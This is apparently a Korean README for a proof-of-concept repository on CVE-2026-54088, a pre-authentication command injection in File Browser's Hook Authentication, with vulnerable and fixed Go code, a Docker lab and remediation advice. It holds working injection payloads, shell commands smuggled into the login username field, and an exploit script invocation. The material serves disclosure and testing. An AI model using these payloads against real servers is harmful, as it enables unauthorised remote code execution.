
CVE-2026-54088에 대한 개념 증명 익스플로잇, File Browser <= 2.63.5에서 Hook Authentication 쉘 대체를 통한 인증 전 OS 명령 주입 취약점
이 리포지토리는 File Browser 버전 <= 2.63.5에 존재하는 중대한 OS 명령 인젝션 취약점 CVE-2026-54088의 Proof of Concept(PoC)입니다.
이 취약점은 Hook Authentication 기능에 존재합니다. 관리자가 외부 명령으로 사용자 인증을 수행하도록 File Browser를 설정한 경우, 로그인 시 전송된 username과 password가 이스케이프되지 않은 채 os.Expand()에 의해 설정된 명령 문자열로 확장됩니다. 인증되지 않은 원격 공격자는 로그인 요청을 통해 셸 구문을 주입하고, 인증이 성공하기 전에 임의의 명령을 실행할 수 있습니다.
발견자: saku0512 (https://github.com/Saku0512)
이 프로젝트는 교육 목적 및 윤리적인 보안 테스트만을 위한 것입니다.
이 도구의 오용, 손해, 불법 행위에 대해 저자는 일체의 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 명시적인 허가를 받은 환경에서만 이 소프트웨어를 사용하십시오.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand()는 설정된 인증 명령을 분할하고, 공격자가 제어할 수 있는 요청 데이터를 사용하여 인증 정보의 플레이스홀더를 확장합니다.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
hook 명령이 다음과 같이 설정된 경우:
sh -c $USERNAME
공격자가 다음과 같은 username을 전송하면:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
로그인 시도 중에 서버는 공격자가 제어하는 셸 스크립트를 실행합니다. 유효한 계정이나 비밀번호는 필요하지 않습니다.
이 문제는 commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f에서 hook 명령 문자열에서 인증 정보 치환 처리를 제거하여 수정되었습니다. hook 명령은 설정된 그대로 실행되며, 인증 정보는 환경 변수로만 전달됩니다.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
제거된 취약한 처리는 exec.Command()가 호출되기 전에 공격자가 제어하는 인증 정보로 명령 인수를 덮어쓰는 os.Expand() 루프입니다. 이 수정에서는 주입된 인증 정보에 의해 hook 명령이 변조될 수 없고, USERNAME / PASSWORD가 환경 변수를 통해 계속 hook에서 사용 가능함을 확인하는 회귀 테스트도 추가되었습니다.
취약한 File Browser 환경을 시작합니다. filebrowser-init 서비스가 데이터베이스를 생성하고, 취약한 명령을 사용하여 Hook Authentication을 활성화합니다.
docker compose up -d
대상은 다음 URL에서 사용할 수 있습니다.
http://localhost:8080
이 디렉토리에서 exploit 스크립트를 실행합니다.
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
이 exploit은 /api/login에 인증되지 않은 로그인 요청을 1회 전송합니다. 인증은 실패할 것으로 예상되지만, 그 전에 주입된 명령이 실행됩니다.
브라우저에서 File Browser의 로그인 화면을 엽니다.
http://localhost:8080
로그인 폼에 다음 값을 입력하고 로그인 버튼을 클릭합니다.
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
로그인은 실패하지만, Hook Authentication의 명령 실행은 인증 결과가 반환되기 전에 수행됩니다. 다음 명령으로 GUI 조작에 의해 컨테이너 내에 마커 파일이 생성되었는지 확인합니다.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
파일이 존재하면 GUI의 로그인 조작에서도 인증 전 RCE가 발생했음을 확인할 수 있습니다.
File Browser 컨테이너 내에서 명령이 실행되었는지 확인합니다.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
파일이 존재하면 인증 전 RCE가 확인됩니다.
docker compose down -v
File Browser를 버전 2.63.6 이상으로 업데이트하세요.
인증 정보는 셸 명령 문자열에 포함하지 말고 환경 변수로만 hook 명령에 전달해야 합니다. 다른 명령 실행 경로에 대해서도 셸 평가를 피하거나 엄격한 인수 분리와 이스케이프를 수행해야 합니다.